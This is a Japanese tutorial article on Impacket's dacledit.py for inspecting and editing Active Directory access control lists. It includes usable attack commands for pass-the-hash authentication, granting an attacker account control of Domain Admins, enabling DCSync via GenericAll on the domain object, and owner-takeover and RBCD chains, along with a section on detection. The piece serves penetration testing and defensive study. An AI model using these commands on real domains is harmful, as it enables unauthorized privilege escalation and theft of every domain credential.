Impacket dacledit.py 徹底解説:Active Directory ACL操作の強力なツール

Active Directory (AD) 環境におけるアクセス制御リスト (DACL) の調査と操作は、ペネトレーションテストやレッドチーム活動において重要な要素です。Impacketスイートに含まれる dacledit.py は、この目的のために非常に強力で柔軟な機能を提供するPythonスクリプトです。

この記事では、dacledit.py の基本的な概念から、具体的な使用方法、応用例、そして注意点まで、詳細に解説していきます。 Active Directory のセキュリティに関わる方々にとって、このツールを理解し活用することは、攻撃者の視点と防御の視点の両方から非常に有益です。

1. DACLとACE:Active Directory アクセス制御の基本 🔒

dacledit.py を理解する前に、Active Directory のアクセス制御の根幹をなす Discretionary Access Control List (DACL) と Access Control Entry (ACE) について理解しておく必要があります。

  • DACL (随意アクセス制御リスト): Active Directory 内の各オブジェクト (ユーザー、グループ、コンピューター、OUなど) に関連付けられたリストです。このリストには、どのセキュリティプリンシパル (ユーザーやグループなど) がオブジェクトに対してどのようなアクセス権を持つかが定義されています。
  • ACE (アクセス制御エントリ): DACL 内の個々のエントリです。各 ACE は、特定のセキュリティプリンシパル (誰が)、特定のアクセス権 (何を許可または拒否するか)、そしてアクセス権の種類 (許可/拒否) を指定します。

例えば、「経理部」グループに対して、「財務報告書」フォルダへの「読み取り」アクセスを「許可」するというのが一つの ACE になります。これらの ACE の集合が DACL を構成し、オブジェクトへのアクセスを制御します。

Active Directory 環境では、これらの DACL/ACE の設定ミスや意図しない権限付与が、権限昇格やラテラルムーブメントの足掛かりとなることがあります。dacledit.py は、これらの DACL をコマンドラインから調査し、変更するためのツールです。

ポイント: DACLはオブジェクトへのアクセスを許可・拒否するルールのリストであり、ACEはその個々のルールです。dacledit.py はこれらを操作します。

2. Impacket と dacledit.py の準備 ⚙️

dacledit.py は、ネットワークプロトコル操作のためのPythonクラス群である Impacket スイートの一部として提供されています。利用するには、まず Impacket をインストールする必要があります。通常、Kali Linux などのペネトレーションテスト用ディストリビューションにはプリインストールされていますが、個別にインストールすることも可能です。

最新版の Impacket を GitHub から取得し、インストールする手順は以下の通りです。


# リポジトリをクローン
git clone https://github.com/fortra/impacket.git
cd impacket

# Python仮想環境の作成と有効化 (推奨)
python3 -m venv .venv
source .venv/bin/activate

# 必要なライブラリとImpacket本体のインストール
pip3 install .
# もしくは pip3 install -r requirements.txt && python3 setup.py install
      

インストール後、examples ディレクトリ内に dacledit.py スクリプトがあることを確認してください。Kali Linux 等では、impacket-dacledit というコマンド名でパスが通っている場合もあります。

基本的なヘルプは以下のコマンドで確認できます。


python3 examples/dacledit.py -h
# または
impacket-dacledit -h
      
注意: Impacket のインストールや実行には、適切なバージョンの Python と必要な依存ライブラリが必要です。仮想環境 (venv) の使用が推奨されます。

3. dacledit.py の基本構文と主要オプション 📝

dacledit.py の基本的な構文は以下のようになります。


dacledit.py <認証情報> -target <ターゲットオブジェクト> -action <アクション> [オプション...]
      

Active Directory ドメインコントローラーに対して認証を行うための情報を指定します。主な形式は以下の通りです。

  • ユーザー名とパスワード: ドメイン名/ユーザー名:パスワード (例: EXAMPLE.LOCAL/testuser:Password123)
  • パスワードハッシュ (Pass-the-Hash): ドメイン名/ユーザー名 -hashes LMハッシュ:NTハッシュ (例: EXAMPLE.LOCAL/adminuser -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0)
  • Kerberos 認証 (チケット): -k -no-pass (事前に impacket-getTGT などで取得した TGT チケット (.ccache ファイル) を環境変数 KRB5CCNAME に設定しておく必要があります)

Kerberos認証を使用する場合、クライアントマシンの時刻とドメインコントローラーの時刻が同期している必要があります。同期していない場合、認証エラーが発生する可能性があります。ntpdaterdate コマンドで同期できます。


# TGTチケットの取得
impacket-getTGT EXAMPLE.LOCAL/krbuser:TicketPassword123 -dc-ip 192.168.1.100

# 環境変数にチケットを設定
export KRB5CCNAME=krbuser.ccache

# dacledit.py をKerberos認証で実行
dacledit.py -k -no-pass -target 'Target User' ...
      

以下に、dacledit.py でよく使用される主要なオプションを説明します。

オプション 説明
-target <ターゲット名> 操作対象のオブジェクト名を指定します。SAMAccountName (ユーザー名、グループ名、コンピューター名の末尾に$を付けたもの) を使用します。 -target 'Domain Admins', -target victimuser, -target 'WEBSRV01$'
-target-dn <DN> 操作対象のオブジェクトを識別名 (Distinguished Name) で指定します。より正確な指定が可能です。-target と同時には使用できません。 -target-dn 'CN=Users,DC=example,DC=local'
-action <アクション> 実行する操作を指定します。主に read (読み取り) または write (書き込み) を使用します。 -action read, -action write
-principal <プリンシパル名> アクセス権を付与または確認する対象のセキュリティプリンシパル (ユーザー名やグループ名) を指定します。write アクションで権限を付与する際に必須です。 -principal attackeruser, -principal 'Backup Operators'
-rights <権限> write アクションで付与するアクセス権を指定します。カンマ区切りで複数指定可能です。一般的な権限には FullControl, WriteDacl, WriteOwner, ReadGMSAPassword, WriteMembers (グループ用), GenericWrite, GenericAll などがあります。特定の拡張権限 (Extended Rights) もGUIDで指定可能です (例: DCSync権限)。 -rights FullControl, -rights WriteDacl,WriteOwner
-inheritance write アクションで ACE を追加する際に、継承フラグを設定します。これにより、OU などに設定した権限が、その中のオブジェクト (AdminCount=0 のもの) に継承されるようになります。 -inheritance
-dc-ip <IPアドレス> 接続先のドメインコントローラーのIPアドレスを指定します。指定しない場合、DNSに基づいて自動で検出を試みます。 -dc-ip 192.168.1.100
-use-ldaps LDAPの代わりにLDAPS (LDAP over SSL/TLS) を使用して接続します。セキュリティが強化されます。 -use-ldaps

4. dacledit.py の活用シナリオと具体例 😈

dacledit.py は、Active Directory 環境における権限昇格や永続化、ラテラルムーブメントなど、様々な攻撃シナリオで活用されます。ここではいくつかの代表的な例を紹介します。

特定のオブジェクト (例: ‘Admin Group’) の DACL を読み取り、どのプリンシパル (例: ‘HelpDesk User’) がどのような権限を持っているかを確認します。


# 'Admin Group' のDACLを表示
dacledit.py EXAMPLE.LOCAL/readeruser:ReaderPass1 -target 'Admin Group' -action read -dc-ip 192.168.1.100

# 特定のプリンシパル 'HelpDesk User' が 'Admin Group' に対して持つ権限を表示
dacledit.py EXAMPLE.LOCAL/readeruser:ReaderPass1 -target 'Admin Group' -principal 'HelpDesk User' -action read -dc-ip 192.168.1.100
      

この情報により、権限昇格に利用可能な不適切な権限設定を発見できる可能性があります。

攻撃者が制御下に置いたユーザー (例: ‘attackeruser’) に対して、重要なオブジェクトへの強力な権限を付与します。

例1: 特定グループへのフルコントロール付与

攻撃者ユーザー ‘attackeruser’ に、’Domain Admins’ グループに対するフルコントロール (FullControl) 権限を付与します。これにより、’attackeruser’ は Domain Admins グループのメンバーを自由に追加・削除できるようになります。


# 'attackeruser' に 'Domain Admins' グループへのフルコントロールを付与
dacledit.py EXAMPLE.LOCAL/compromiseduser:CompPass! -target 'Domain Admins' -principal 'attackeruser' -action write -rights FullControl -dc-ip 192.168.1.100
      

例2: DCSync 権限の付与

特定のユーザー (例: ‘dcsyncuser’) にドメインオブジェクトに対する DCSync 権限を付与します。これにより、’dcsyncuser’ はドメインコントローラーから KRBTGT ハッシュを含む全てのユーザーのパスワードハッシュを同期 (取得) できるようになります。これは非常に強力な権限昇格手法です。

DCSync には通常、以下の2つの拡張権限 (Extended Rights) の GUID が必要です。

  • Replicating Directory Changes (DS-Replication-Get-Changes): 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
  • Replicating Directory Changes All (DS-Replication-Get-Changes-All): 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
  • (場合によっては Replication Synchronization も: 9923a32c-029a-4f2a-87c9-d50740db3059)

dacledit.py でこれらの権限をドメインオブジェクト (例: DC=example,DC=local) に対して付与します。


# ドメインのDNを取得 (例)
# Get-ADDomain | Select-Object -ExpandProperty DistinguishedName

# 'dcsyncuser' にドメインオブジェクトに対するDCSync権限を付与
# (注: -rights オプションでGUIDを指定する必要があります。ここでは仮に 'Replication-Rights' と記述)
# 正確なコマンドは対象の Impacket バージョンや環境により確認が必要です。
# GenericAll を付与することでも DCSync は可能になります。
dacledit.py EXAMPLE.LOCAL/compromiseduser:CompPass! -target-dn 'DC=example,DC=local' -principal 'dcsyncuser' -action write -rights GenericAll -dc-ip 192.168.1.100
# または、より限定的に (impacketのバージョンによってはGUID直接指定が必要)
# dacledit.py ... -rights 'DS-Replication-Get-Changes','DS-Replication-Get-Changes-All' ...
      
警告: DCSync 権限の付与は、ドメイン全体の認証情報を危険に晒す極めて強力な操作です。実行には最大限の注意が必要です。

例3: OUへの権限付与と継承

特定のOU (例: ‘Sales Users’ OU) に対して ‘HelpDesk’ グループがフルコントロールを持つように設定し、その権限がOU内のオブジェクトに継承されるようにします。


dacledit.py EXAMPLE.LOCAL/adminuser:AdminPass -target-dn 'OU=Sales Users,DC=example,DC=local' -principal 'HelpDesk' -action write -rights FullControl -inheritance -dc-ip 192.168.1.100
      

-inheritance フラグにより、このOU内に存在する (AdminCount=0 の) ユーザーやコンピューターは、HelpDesk グループからのフルコントロール権限を継承します。

あるオブジェクト (例: ‘userA’) が別のオブジェクト (例: ‘userB’ または ‘AdminGroup’) に対して WriteOwner 権限を持っている場合、’userA’ はそのオブジェクトの所有者を自分自身に変更できます。オブジェクトの所有者になると、通常はそのオブジェクトの DACL を書き換える権限 (WriteDacl) も得られます。これにより、最終的にフルコントロールを獲得できます。

  1. 所有権の取得: impacket-owneredit (または同様のツール) を使用して、ターゲットオブジェクトの所有者を攻撃者が制御するプリンシパルに変更します。
  2. フルコントロールの付与: 所有者になった後、dacledit.py を使用して、自身にターゲットオブジェクトへの FullControl 権限を付与します。

# 手順1: owneredit.py で所有権を取得 (userA が userB に対し WriteOwner を持つと仮定)
# owneredit.py EXAMPLE.LOCAL/userA:PasswordA -target userB -action write -new-owner userA -dc-ip 192.168.1.100

# 手順2: dacledit.py でフルコントロールを付与 (userA が userB の所有者になった後)
dacledit.py EXAMPLE.LOCAL/userA:PasswordA -target userB -principal userA -action write -rights FullControl -dc-ip 192.168.1.100
      

RBCD 攻撃では、攻撃者が制御するコンピューターアカウントが、ターゲットのコンピューターアカウントに対して代理認証を行うことを許可されるように設定します。この設定は、ターゲットコンピューターの msDS-AllowedToActOnBehalfOfOtherIdentity 属性を変更することで行われます。この属性を変更するには、ターゲットコンピューターオブジェクトに対する書き込み権限が必要です。

もし攻撃者がターゲットコンピューターオブジェクトに対する WriteDacl, WriteOwner, GenericWrite, GenericAll といった権限を持っている場合、dacledit.py を使用して必要な権限 (例: WriteProperty で特定の属性への書き込み権限) を自身に付与し、その後 RBCD を設定することが可能になります。


# 例: attackeruser が targetcomp$ に対する WriteDacl を持っている場合
# まず、自身に GenericAll 権限を付与する (これにより属性変更が可能になる)
dacledit.py EXAMPLE.LOCAL/attackeruser:AttackerPass -target 'targetcomp$' -principal 'attackeruser' -action write -rights GenericAll -dc-ip 192.168.1.100

# 次に、別のツール (例: rbcd.py や PowerView) を使用して RBCD を設定する
# (msDS-AllowedToActOnBehalfOfOtherIdentity 属性を編集)
       

5. 注意点と対策 🤔🛡️

dacledit.py は強力なツールですが、使用には注意が必要です。

  • ログ記録: Active Directory のオブジェクトに対する DACL の変更は、通常、ドメインコントローラーのセキュリティイベントログに記録されます (適切な監査ポリシーが構成されていれば)。特に重要なオブジェクト (Domain Admins グループ、ドメインオブジェクト、AdminSDHolder など) に対する変更は、セキュリティ監視の対象となります。イベント ID 4738 (ユーザーアカウント変更)、4756 (グループメンバーシップ変更)、5136 (ディレクトリサービスオブジェクト変更) などが関連します。
  • 影響範囲: 不適切な権限を付与すると、意図しないセキュリティリスクを生み出す可能性があります。特に FullControlGenericAll、DCSync 権限の付与は慎重に行うべきです。-inheritance オプションの使用は、影響範囲を広げるため、特に注意が必要です。
  • 検知: 不審な DACL 変更、特に短期間に複数の特権グループや重要オブジェクトに対して行われる変更は、攻撃の兆候である可能性があります。BloodHound などのツールは、ACL ベースの攻撃パスを可視化し、危険な権限設定を発見するのに役立ちます。定期的な ACL のレビューや、特権アクセス管理 (PAM) ソリューションの導入も有効な対策です。
  • AdminSDHolder: 特権グループ (Domain Admins, Enterprise Admins など) のメンバーであるアカウントやグループは、AdminSDHolder という特別なオブジェクトから定期的に ACL が強制的に適用 (上書き) されます。これらのオブジェクトに対して dacledit.py で ACL を変更しても、一定時間後 (デフォルトでは60分) に元に戻ってしまう可能性があります。永続的な変更には、AdminSDHolder オブジェクト自体の ACL を変更する必要がありますが、これは極めて危険な操作です。
  • ツールの代替: PowerShell の Active Directory モジュール (Get-Acl, Set-Acl)、Windows 標準の icacls.exe、BloodHound、PowerView など、DACL の調査や操作には他のツールも存在します。状況に応じて適切なツールを選択することが重要です。

6. まとめ ✨

Impacket の dacledit.py は、Active Directory 環境における DACL の調査と操作を行うための非常に強力なコマンドラインツールです。この記事では、その基本的な使い方から、認証方法、主要なオプション、そして権限昇格や永続化といった攻撃シナリオでの具体的な活用例までを詳しく解説しました。

dacledit.py を効果的に使用するには、Active Directory の ACL の仕組み、関連する権限 (WriteDacl, WriteOwner, FullControl, 拡張権限など)、そして認証メカニズム (パスワード、ハッシュ、Kerberos) を深く理解することが不可欠です。また、その強力さ故に、操作は慎重に行い、ログ記録や検知メカニズムについても考慮する必要があります。

セキュリティ専門家にとって、dacledit.py のようなツールを理解することは、攻撃者の手法を知り、自組織の Active Directory 環境の弱点を特定し、適切な防御策を講じる上で非常に重要です。ぜひ、テスト環境などで実際に試しながら、その挙動と影響を学んでみてください。 💪